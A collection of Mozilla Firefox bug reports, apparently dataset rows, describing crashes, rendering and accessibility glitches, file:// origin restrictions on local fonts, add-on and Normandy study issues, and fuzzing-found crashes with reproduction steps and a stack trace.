1. Launch Firefox
2. Enable the browser toolbox https://developer.mozilla.org/en-US/docs/Tools/Browser_Toolbox
3. Open the browser toolbox
4. Select Accessibility in the toolbar
5. Select the Accessibility Inspector
6. Move the pointer over Firefox
Results:
Crash at mozilla::a11y::Accessible::Bounds() report at https://crash-stats.mozilla.org/report/index/4aebc748-07ec-4927-b986-6f6bd0190709
Expected results:
No crash
|
|
1,564,818 | 14,226,041 |
Created attachment 9077031
aboutStudiesRemove.gif
**[Notes]:**
- If the page is refreshed, the experiment will be displayed in the "Completed studies" section.
**[Affected versions]:**
- Firefox 67 and above
**[Affected Platforms]:**
- All Windows
- All Mac
- All Linux
**[Prerequisites]:**
- Have a recipe created for the experiment on the Normandy stage server ([link to recipe](https://delivery-console.stage.mozaws.net/recipe/781/)).
- Have the latest Firefox Unbranded build installed.
- Have at least 3 add-ons installed from AMO.
- Have the following prefs set in “about-config” page:
- The "xpinstall.signatures.dev-root" boolean pref with the "true" value.
- The “app.normandy.dev_mode preference” to “true” to run recipes immediately on startup.
- The “app.normandy.logging.level preference” to “0” to enable more logging.
- The “security.content.signature.root_hash” preference to “DB:74:CE:58:E4:F9:D0:9E:E0:42:36:BE:6C:C5:C4:F6:6A:E7:74:7D:C0:21:42:7A:03:BC:2F:57:0C:8B:9B:90”.
- The “services.settings.server” to “https://normandy.stage.mozaws.net/api/v1”.
- The “extensions.shield-recipe-client.api_url” to “https://stage.normandy.nonprod.cloudops.mozgcp.net/api/v1”.
**[Steps to reproduce]:**
1. Open the browser with the profile from prerequisites.
2. Navigate to the "about:studies" page.
3. Click the "Remove" button for the “Preparatory Survey for NAAR” experiment and observe the behavior.
**[Expected result]:**
- The experiment is instantly moved to the "Completed studies" section.
**[Actual result]:**
- The experiment is still displayed in the "Active studies" section.
**[Additional Notes]:**
- This issue is also reproducible with the "JESTr Relaunch: Identifying Web Browsing Patterns in the Pioneer Population" experiment we tested.
- The following error message is displayed in the Browser's Console: "Error: Cannot stop study for recipe 781; it is already inactive.".
- Nothing happens if the "Remove" button is clicked multiple times, the experiment remains in the "Active studies" section.
- However, the notification bar is no longer displayed after clicking the "Remove" button and the correct telemetry pings are sent.
- We initially logged this issue on the [NAAR repo](https://github.com/mozilla/preparatory-survey-for-naar-study-addon/issues/7) but once we found an additional addon that has the same behavior we thought that this might be an issue caused by some change in the client.
- Attached a screen recording with the issue.
|
|
1,565,242 | 14,229,273 |
We are not able to remove closed connections to h2 proxies because of mixture of connection entries for anon and non-anon connections. I have a log where we create multiple connections to a proxy (note please that the limit is unreasonably 6, not 32 as it appears from the log...) where 1.1-forced and websocket CLOSED conns are not removed from the active list.
The reason is that we call OnMsgReclaimConnection with a different connection entry - we use only one entry for anonymus and onymous requests (we share them), while two entries (a- and not-a-) can coexist when using h2 (or h2 proxy).
Hence, we need to lookup the right entry at [nsHttpConnectionMgr.cpp](https://searchfox.org/mozilla-central/rev/f372470e10c8cb0691681603a1d6324dee5b3b8a/netwerk/protocol/http/nsHttpConnectionMgr.cpp#2834).
W/o it we just queue new requests for websockets indefinitely, when the proxy doesn't allow extended connect protocol, because here we return false: [Http2Session.cpp - mozsearch](https://searchfox.org/mozilla-central/rev/f372470e10c8cb0691681603a1d6324dee5b3b8a/netwerk/protocol/http/Http2Session.cpp#4780)
This is quite a racy thing to happen, apparently, as I discovered this only today.
Fallout from bug 1363284
|
|
1,565,273 | 14,229,608 |
Reproducible: always
Steps To Reproduce:
1. Open any web page
2. Wait for page loading
3. Right click Address bar
Actual Results:
Caret blinks at beginning of url. And context Menu Pops Up
Expected Results:
Whole url should be selected. And context Menu Pops Up
Regression window:
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=9381b434999bc6f36111d1d307416a1f6d57c84c&tochange=759f043488918654501e945736c825529ea70fa5
Regressed by: 759f043488918654501e945736c825529ea70fa5 harry — Bug 1562145 - Fix mouse-dragging regression caused by patch to 1554864. r=dao
harry,
Your patch seems to cause the regression. Can you please look into this?
|
|
1,565,507 | 14,231,299 |
Created attachment 9077637
disabled default system theme.gif
[Tested platforms]
- Win10x64
- macOS High Sierra 10.13.6
[Steps to reproduce]
1. Open about:addons
2. Install one of the Recommended themes (or a theme from AMO)
3. Remove the theme
4. Observe the status of the Default system theme
[Expected result]
The default system theme is automatically re-enabled when an installed theme is Removed
[Actual result]
The default system theme remains disabled when a theme is Removed
**Notes**:
- if you Disable the installed theme before Removing it, the issue will not reproduce
- the issue becomes even more visible when a dark system theme is set on the user's machine - in this case the header will receive a dark gray color
- restarting the browser doesn't fix the issue
|
|
1,565,525 | 14,231,556 |
User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Steps to reproduce:
In my webextension I want to move tab into the new panel window.
It worked just fine for last two years.
Minimal example:
browser.tabs.query({currentWindow: true}).then((tabs) => {
browser.windows.create({
tabId: tabs[tabs.length-1].id,
type: "detached_panel",
})
});
Actual results:
Resulting window document has all active areas (of inputs, hrefs, buttons etc.) shifted downwards (by height of source window's address/tab bars I guess).
I observed some textarea rendering error, other elements are looking OK.
The same problem occurs when I am using 'popup' or 'panel' window type.
Expected results:
Panel window containing document with properly positioned active areas. :)
|
|
1,565,779 | 14,233,384 |
[Tracking Requested - why for this release]: Completely broken
Firefox67 ja build works as expected.
Firefox68 ja build is broken.
Reproducible : always
Steps to Reproduce:
1. Enable search bar
2. type japanese text e.g,"パソコン"
3. Click ヤフオク or 楽天市場 on-off search button
Actual results:
Unable search in japanese text due to Mojibake.
Expected Results:
Search should successfully perform.
|
|
1,565,942 | 14,234,258 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Steps to reproduce:
In a folder containing the files for my website, I opened
file:///D:/<redacted>/index.html
which has CSS that loads four WOFF2 font files using relative URLs (file:// URLs).
privacy.file_unique_origin has its default value of true.
Actual results:
As designed, the font file are not loaded, and the Web Console lists messages like the following for each file:
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at file:///D:/<redacted>/fonts/opensans.woff2. (Reason: CORS request not http).
This and similar issues are popping up quite a lot in recent days:
* https://support.mozilla.org/questions/1264603 (fonts)
* https://support.mozilla.org/questions/1264596 (frames)
* https://support.mozilla.org/questions/1264400 (fonts)
* https://support.mozilla.org/questions/1264318 (XSL)
* https://support.mozilla.org/questions/1264312 (fonts)
* https://support.mozilla.org/questions/1264299 (fonts)
* https://support.mozilla.org/questions/1264280 (fonts)
* https://www.reddit.com/r/firefox/comments/cc5xoz/css_custom_fonts_broken_in_new_update/ (fonts)
* https://discourse.mozilla.org/t/firefox-68-local-files-now-treated-as-cross-origin-1558299/42493 (HTML help system)
Expected results:
Font files are unlikely to contain sensitive data, and other kinds of files are unlikely to have a .woff or .woff2 file extension. I think it would make sense to allow an exception to the file_unique_origin treatment for such files to facilitate local web development. **This is far preferable to users having to disable this protection completely.**
For example, perhaps in nsNetUtil.cpp there could be something along the lines of:
if (!StaticPrefs::privacy_file_unique_origin() || is_permitted_file_type()) {
Then is_permitted_file_type() would return true for .woff and .woff2 files.
(I'm not a C programmer so the details are beyond me.)
|
|
1,565,965 | 14,235,496 | null |
|
1,565,996 | 14,236,499 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Steps to reproduce:
It turns out Firefox on Linux cannot open shared libraries in /usr/local/(lib|lib64) on Linux which makes it impossible to use it with manually compiled/installed FFmpeg library. See bug 1516178 for more details.
I would like to propose that whitelist these two locations in order to avoid this issue.
Normally they are both owned by the root user and it's very unlikely that's going to affect Firefox security.
|
|
1,566,019 | 14,236,620 |
This is a follow up for bug 1341155
See this comment
https://bugzilla.mozilla.org/show_bug.cgi?id=1341155#c21
Honza
STR:
1) Open the Network panel
2) Right click the columns header and make the URL column visible by default
3) Click on URL column header -> The entire panel goes blank.
There is an exception in the Browser console
TypeError: sorter is not a function - selectors/requests.js:36:10
Honza
|
|
1,566,115 | 14,237,283 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Steps to reproduce:
I opened about:logins in FF69 beta 4
I entered a search criteria in the search field
Actual results:
the letters I typed appeared very very slowly in the search field, making the whole search feature unusable.
That was not the case the last time I tested in FF68.
Also, navigating in the list of entries in quite slow.
|
|
1,566,172 | 14,237,784 |
STEPS TO REPRODUCE:
1) Download https://mdn.mozillademos.org/files/7775/webfont-sample.html to a file named "test.html" on local disc.
2) Download https://mdn.mozillademos.org/files/2468/VeraSeBd.ttf to a file named "test.ttf" in the same directory.
3) Edit "test.html" so the CSS `url()` bit says `url("test.ttf")`
4) Load "test.html" in Firefox.
EXPECTED RESULTS: The text is bold like is is on https://mdn.mozillademos.org/files/7775/webfont-sample.html
ACTUAL RESULTS: The text is not bold.
ADDITIONAL INFORMATION:
* In Firefox 67, this worked as long as the font file was a sibling, or under a sibling, of the HTML (or CSS?) file, due to the way our same-origin policy worked. It did not work if the font was a child of some unrelated or ancestor dir (e.g. if the font file is placed in /tmp and the HTML in ~, it does not work in 67).
* In Firefox 68, this does not work due to the changes in bug 1558299
* I just tested Chrome and Safari, and they allow linking from any file:// to any other file:// for fonts, afaict. Presumably a legacy of them not doing CORS enforcement at all for web fonts? (Or do they still not do CORS enforcement there?)
Anyway, this is causing compat issues; see bug 1500453 comment 14.
I had assumed we had audited all consumers of `SEC_REQUIRE_SAME_ORIGIN*` and `SEC_REQUIRE_CORS*` in bug 1558299 to see how other browsers behave for them for file:// URLS, but apparently not. Those consumers are:
* SVG external resources
* fetch()
* HTML `<track>` elements
* font-face rules (this bug)
* `<a ping>` bits
* Service worker script cache bits of some sort
* DOM workers
* `XMLDocument.load` (not supported in other browsers, iirc)
* Offline cache manifests
* EventSource
* `Navigator.sendBeacon`
* HTML media elements with `crossorigin` attr set
* `ChannelMediaResource`
* HTML `<script>` elements with `crossorigin` attr set
* Module scripts
* Various XSLT stuff (maybe not supported in other browsers?)
* Stylesheet linking elements with `crossorigin` attr set
* Various image-loading element with `crossorigin` attr set
|
|
1,566,295 | 14,238,484 |
User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Steps to reproduce:
Clicked on the Evernote Web Clipper (EWC) icon (elephant in profile), which has a red circle sumperimposed to indicate it is not logged in.
---
In an attempt to remedy the situation I have changed Content Blocking to 'Custom' and unchecked 'Cookies'. I have also added the following exceptions for cookies and site data:
https://www.evernote.com Allow
http://www.evernote.com Allow
https://evernote.com Allow
http://evernote.com Allow
Actual results:
A popup browser window appears (very briefly) which says "Web Clipper log in successful."
A small notification then appears in the bottom-right of the browser window that reads: "Evernote Web Clipper uses cookies to identify your account. Check your browser settings to make sure third-party cookies are accepted from Evernote. "
The red circle indicator remains on the EWC icon and I am still unable to activate clipping.
Expected results:
The popup browser window should have appeared and indicated log-in was successful, and then the red circle indidicator on the EWC icon should be gone and I should be able to use EWC to save web content to my Evernote.
|
|
1,566,482 | 14,239,644 |
The attached testcase crashes on mozilla-central revision 38aa0201f645+ (build with --enable-tests --enable-address-sanitizer --disable-jemalloc --enable-optimize=-O2 --enable-fuzzing --disable-debug).
For detailed crash information, see attachment.
To reproduce the issue, perform the following steps:
1. Download the attached testcase, save as "test.bin".
2. Apply the patch from bug 1566342 to get the required fuzzing target.
3. Build with --enable-fuzzing (requires Clang and ASan, also build gtests using ./mach gtest dontruntests).
4. Run MOZ_RUN_GTEST=1 LIBFUZZER=1 FUZZER=NetworkHttp2 objdir/dist/bin/firefox test.bin
This issue looks like an actional invalid/out-of-bounds read. I have not investigated yet what is going on, but I will attach a full log as a start. Marking sec-high based on the assumption that this is an invalid read of some sort.
|
|
1,566,585 | 14,240,506 |
If an extension is spanning and the user grants permission to private browsing, then the extension is updated to a version where the manifest declares not_allowed, we do not remove permission.
|
|
1,566,678 | 14,240,923 |
Created attachment 9078569
test.zip
STR:
1) unpack test.zip
2) using a fuzzing build, a clean profile and the included prefs.js launch the browser
3) open launcher.html
4) wait 30 - 45 seconds
Marking as s-s to be safe.
I can consistently reproduce the issue with a fuzzing debug build.
Assertion failure: cx->compartment() == obj->compartment(), at src/js/src/vm/Shape.cpp:1496
```
0|0|libxul.so|JSObject::setFlags(JSContext*, JS::Handle<JSObject*>, js::BaseShape::Flag, JSObject::GenerateShape)|hg:hg.mozilla.org/mozilla-central:js/src/vm/Shape.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|1496|0x49
0|1|libxul.so|js::SetImmutablePrototype(JSContext*, JS::Handle<JSObject*>, bool*)|hg:hg.mozilla.org/mozilla-central:js/src/vm/JSObject.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|2999|0x12
0|2|libxul.so|js::ForwardingProxyHandler::setImmutablePrototype(JSContext*, JS::Handle<JSObject*>, bool*) const|hg:hg.mozilla.org/mozilla-central:js/src/proxy/Wrapper.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|111|0x10
0|3|libxul.so|js::ForwardingProxyHandler::setImmutablePrototype(JSContext*, JS::Handle<JSObject*>, bool*) const|hg:hg.mozilla.org/mozilla-central:js/src/proxy/Wrapper.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|111|0x10
0|4|libxul.so|SetImmutablePrototype|hg:hg.mozilla.org/mozilla-central:js/src/builtin/TestingFunctions.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|4254|0x11
0|5|libxul.so|CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), JS::CallArgs const&)|hg:hg.mozilla.org/mozilla-central:js/src/vm/Interpreter.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|448|0x16
0|6|libxul.so|js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct)|hg:hg.mozilla.org/mozilla-central:js/src/vm/Interpreter.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|540|0x12
0|7|libxul.so|InternalCall|hg:hg.mozilla.org/mozilla-central:js/src/vm/Interpreter.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|595|0xd
0|8|libxul.so|Interpret|hg:hg.mozilla.org/mozilla-central:js/src/vm/Interpreter.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|599|0x13
0|9|libxul.so|js::RunScript(JSContext*, js::RunState&)|hg:hg.mozilla.org/mozilla-central:js/src/vm/Interpreter.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|425|0xb
0|10|libxul.so|js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*)|hg:hg.mozilla.org/mozilla-central:js/src/vm/Interpreter.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|787|0x5
0|11|libxul.so|EvalKernel|hg:hg.mozilla.org/mozilla-central:js/src/builtin/Eval.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|340|0x16
0|12|libxul.so|js::DirectEval(JSContext*, JS::Handle<JS::Value>, JS::MutableHandle<JS::Value>)|hg:hg.mozilla.org/mozilla-central:js/src/builtin/Eval.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|453|0x37
0|13|libxul.so|js::jit::DoCallFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICCall_Fallback*, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>)|hg:hg.mozilla.org/mozilla-central:js/src/jit/BaselineIC.cpp:0b014ee5cd51250fcdfc7df3914efa3a3d9f86d2|3197|0x2a
...
see attached full log.
```
|
|
1,566,734 | 14,241,366 |
When clicking "Raw JSON" on any ping data on `about:telemetry` it should open the contained JSON as a json document (via a `data:` URI), which then triggers the JSON viewer for nice displaying.
This fails.
## What were you doing?
1. Open `about:telemetry`
2. Click "Raw JSON" in the lower left
3. this opens a new tab with a data uri (`data:application/json;base64,ewog...`)
## What happened?
It displays the JSON in plain text.
## What should have happened?
It should have displayed the JSON in the rich JSON viewer.
## Anything else we should know?
This in the console:
```
Loading failed for the <script> with source “resource://devtools-client-jsonview/lib/require.js”.
Content Security Policy: The page’s settings blocked the loading of a resource at resource://devtools-client-jsonview/lib/require.js (“default-src”).
```
I verified that the JSON in the `data:` URI is valid (base64-decoding it and pasting it into a JSON parser).
The `data:` uri works fine if copied from the URL bar and pasted into a new tab.
[Here's the code where about:telemetry opens the new location](https://searchfox.org/mozilla-central/rev/22b330ecb3edba1536a54887060cbdd09db21c59/toolkit/content/aboutTelemetry.js#2380-2387).
This happens on Firefox Nightly 70.0a1, build id 20190716211651, macOS.
|
|
1,566,884 | 14,242,525 |
The problem is here:
https://searchfox.org/mozilla-central/rev/22b330ecb3edba1536a54887060cbdd09db21c59/netwerk/base/nsProtocolProxyService.cpp#2342
Removing the block helps. When the callback returns only [{type: "direct"}], channels get proxyinfo == null, which is expected and desired.
Only major difference here is that when defaultProxyInfo is something else than 'direct' we throw it away with this change; I'm not sure what to do exactly here to not break anything.
|
|
1,566,968 | 14,243,171 |
Bug 1562115 addressed an issue where the stub installer's install page text was overflowing the bottom of the window in certain locales. That issue was addressed, but in testing the fix it was discovered that a similar issue can occur on the reinstall profile refresh page (see bug 1562115 comment 15), resulting in the button there being partially cut off by the bottom of the window.
In my testing this only seems to occur when display scaling is set to 125% and not for other values.
|
|
1,567,077 | 14,244,022 |
User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Steps to reproduce:
update has been downloaded and firefox has only been closed in an administrative account on a terminalserver
Actual results:
non-adminstrative accounts on the terminalserver weren't able to open firefox until the administrator opened it so that the pending update will be installed
Expected results:
non-administrative accounts should be able to use firefox with the pre-updated status instead of waiting for an admin to complete the update (like it was before)
|
|
1,567,082 | 14,244,056 |
**Steps to reproduce**
1. Open the console on this page
1. Evaluate `console.table($$("div"))`
**Expected results**
There's a table displayed I can scroll to see all the elements
**Actual results**
The table is cropped, and there isn't any scrollbar to see the hidden data
|
|
1,567,095 | 14,244,144 |
Created attachment 9078988
osx.png
Add New Address popup field name texts have broken styles on OSX and margin is different on Windows and Linux
First name, Middle name, Last name are cutted in top
City, Zip Code, Organization are back to back to field's border and
margins are different as in Windows and Linux.
|
|
1,569,963 | 14,269,068 |
Created attachment 9081624
macOS10.12.png
- Affected versions
70.0a1
69.0b9
- Affected platforms
Windows 10x64
MacOS 10.12
Ubuntu 16.04
- Steps to reproduce:
1. Launch Firefox with a new profile
2. Go to about:config and set extensions.formautofill.available;on and extensions.formautofill.creditCards.available;true (feature should be enabled by default in Nightly)
3. Go to Preferences -> Forms and Autofill -> Saved Credit Cards
4. Click on Add
5. Observe the field texts
- Expected result:
Field text should be displayed properly
- Actual result:
Add Credit Card field texts are not displayed properly in top, see the attached screenshot
|
|
1,570,192 | 14,270,740 |
STR:
0. Install profiler from https://profiler.firefox.com/
1. Visit about:blank.
2. Ctrl+Shift+1 to start profiling.
3. Ctrl+T to open a new tab.
4. After a few seconds, Ctrl+Shift+2 to stop profiling.
ACTUAL RESULTS:
Profile shows a red bar for a period of jank, which includes some flexbox layout. In particular, there are some script-triggered sync reflows from an IntersectionObserver callback which checks `.clientWidth`, which I suspect are associated with image lazy-loading.
EXPECTED RESULTS:
I suspect the series of short script/IntersectionObserver-triggered reflows should probably be cheap or free, because layout is probably not changing much. I'm not sure whether the tiles are styled such that we can theoretically infer that the flex containers involved don't need to reflow, or if there's styling that we would need to add (along with optimizations) to reliably get that result -- but one way or another, we should try to be sure that no serious reflow work needs to happen after the initial layout.
Also/alternatively, perhaps the about:newtab code shouldn't be reading clientWidth in the IntersectionObserver callback, since that forces any of the callback's earlier restyling to be immediately flushed. We're probably not coalescing these multiple IntersectionObserver-callback-invocations' restyling at all right now, due to the fact that they're doing this flush.
Here's a profile I captured of the STR, using current Nightly: https://perfht.ml/2SWyogu (filtered for nsFlexContainerFrame)
The series of 9 reflows (each 2-3ms long) after timestamp 1.64s are the ones that I'm primarily concerned with improving/avoiding.
|
|
1,570,222 | 14,271,011 |
Created attachment 9081865
2019-07-31 08_49_46-Seiten-Ladefehler - Firefox Developer Edition.png
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Steps to reproduce:
i created a new dotnet core ssl dev cert with
dotnet dev-certs https --trust
A new SSL Certificate was created and trusted
After starting the dotnet core app i opened firefox dev 69.0b4 (64-Bit)
And navigate to https://localhost:5001/swagger/index.html
Actual results:
i get the error:
Fehler: Gesicherte Verbindung fehlgeschlagen
Beim Verbinden mit localhost:5001 trat ein Fehler auf. Das Zertifikat enthält eine unbekannte kritische Erweiterung. Fehlercode: SEC_ERROR_UNKNOWN_CRITICAL_EXTENSION
Die Website kann nicht angezeigt werden, da die Authentizität der erhaltenen Daten nicht verifiziert werden konnte.
Kontaktieren Sie bitte den Inhaber der Website, um ihn über dieses Problem zu informieren.
Weitere Informationen…
Expected results:
The websites opens and shows the swagger docu page.
On Firefox 60.6.3esr (32-bit) it is working.
|
|
1,570,332 | 14,271,798 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Steps to reproduce:
- I turned off "Recommend extensions as you browse" and "Recommend features as you browse" in settings a long time ago.
- Opened a new private window,
- went to a website
- and clicked the bookmark (star) button in the address bar.
I am not able to reproduce this currently, I am not sure how these ads/recommendations are triggered.
Actual results:
The "New Bookmark" popup showed an ad for Firefox Sync, in place of / overlaying the screenshot of the current website.
Expected results:
A recommendation for Firefox Sync should not have appeared due to the setting "Recommend features as you browse" being turned off.
|
|
1,570,358 | 14,271,941 |
Moz2D APIs might assume that enum arguments are valid.
Moz2D recording should check any constrained values like enums read out of the stream before passing them to other Moz2D APIs.
The reading functions in Moz2D don't return any errors, so the simplest way of achieving this is to set the stream as bad, because this should always be checked before the RecordedEvent is played.
|
|
1,570,581 | 14,273,511 |
Created attachment 9082181
1234.png
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Steps to reproduce:
install Firefox 68.0.1 on Catalina(macOs) Beta version.
Install and Sign In to Adobe Acrobat.
Open Firefox
Enable Acrobat extension
Open any webpage (eg. www.apple.com)
Click on acrobat extension
Click on Convert webpage to PDF
OBSERVE
Actual results:
Acrobat is launched, but file is not converted and after ~3 minutes Conversion failed error is observed.
Extension is working fine with Firefox 68.0 build on multiple machines. Tested on 4 machines.
Seems like the issue is with Firefox version 68.0.1. which is getting installed automatically.
Expected results:
Acrobat is launched with created PDF file without any error.
Acrobat extension uses native host to launch acrobat and send the conversion data to acrobat via apple events.
Though acrobat is properly launched but the conversion data is not being sent to Acrobat resulting into extension showing conversion failure after a time-out.
|
|
1,570,645 | 14,274,056 |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Steps to reproduce:
1. Add an add-on. Any add-on seems to have this problem. It can be added from the store or in debug mode from a local file.
2. Turn on a screenreader (issue appears in VO, NVDA regardless of OS).
3. Navigate to a page.
4. Open devtools using keyboard.
5. Select the new add-on with "CTRL+]"
Actual results:
Observe accessible name is "chrome://browser/content/webext-panels.xul" and not the correct button name or panel title.
Expected results:
The accessible name should be the same as if the add-on was selected using TAB or mouse click. When using the "TAB" key to select the add-on, the accessible name is correct.
|
|
1,570,700 | 14,274,406 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Steps to reproduce:
browser.search.get() run on ubuntu 18.04 64bit, FF 68.0.1 (debug console, web extension background page, etc )
Actual results:
An unexpected error occured
Expected results:
Promise resolves with array of one-click search engines
|
|
1,570,845 | 14,275,465 |
Bookmarklet passes parameter to external program, but in background mode...
No idea where this belongs...
Best I can do is describe what has changed.
I use a bookmarklet that passes a highlighted string (from a browser window) to an external program, Everything (Search).
In the past, you run the bookmarklet, the string is gathered & passed, & Everything is brought to focus with that string passed as its' search parameter.
Currently, while the string is still passed, most often, Everything opens "in the background", its' Windows taskbar icon blinking.
Difference is in focus or not.
Prior behavior, Everything always taking focus was/is desired.
Current behavior, you have to manually click the Everything (taskbar) icon to bring it to focus, before being able to see the search results it returned.
Works: (through) FF 70.0a1, 20190729213839 (& every Mozilla version prior to that).
Fails (behavior change): Builds after that.
Bookmarklet:
javascript:Qr=document.getSelection();if(Qr)location.href='es:'+(Qr);void(0)
Everything:
https://www.voidtools.com/
https://www.voidtools.com/downloads/
(ZIP is fine. I have always used x86 version. FF x64, Win7.)
In Everything | Options, you need to enable "URL Protocol", Tools | Options -> General --> URL protocol.
Forum thread, http://www.voidtools.com/forum/viewtopic.php?f=2&t=2423.
(Older thread, https://www.voidtools.com/forum/viewtopic.php?f=10&t=739.)
|
|
1,570,879 | 14,275,741 |
Created attachment 9082543
2019-08-02_05h48_05.mp4
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Build ID: 20190801214227
Affected Firefox versions: Firefox 69 beta 9 and Nightly 70.0a1
Preconditions:
Choose "High Contrast #1" theme from you PC.
Start menu -> Turn on dark mode for apps-> in the Colors section, click on High contrast settings -> Turn ON high contrast and Choose a theme (High Contrast #1)
Steps to reproduce:
1. Launch Firefox with a clean profile
2. Open multiple tabs
3. Click anywhere on your desktop in order to un-focus the Firefox window
Actual results:
When Firefox is unfocused - the tab's title become invisible and so are all the buttons located on the tabs bar (+<>)
Please see the screen-cast for more details.
When High Contrast #2 theme is applied - the tabs and buttons are invisible when the Firefox window is focused.
When High Contrast White theme is applied - the tabs and buttons are invisible when the Firefox window is unfocused.
When High Contrast Black theme is applied - the tabs and buttons are properly displayed.
Expected results:
The tabs are dark, the favicons, titles and buttons are visible.
Regression range:
It seems that Bug 1524284 is the culprit here:
changeset: 7998879d67133172b899cc84e5925ea07c7854fa
pushlog_url: https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=e39bd319fe3e2d8e310467fa65bc2a8eab398992&tochange=7998879d67133172b899cc84e5925ea07c7854fa
Jeff, could you please take a look over this?
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.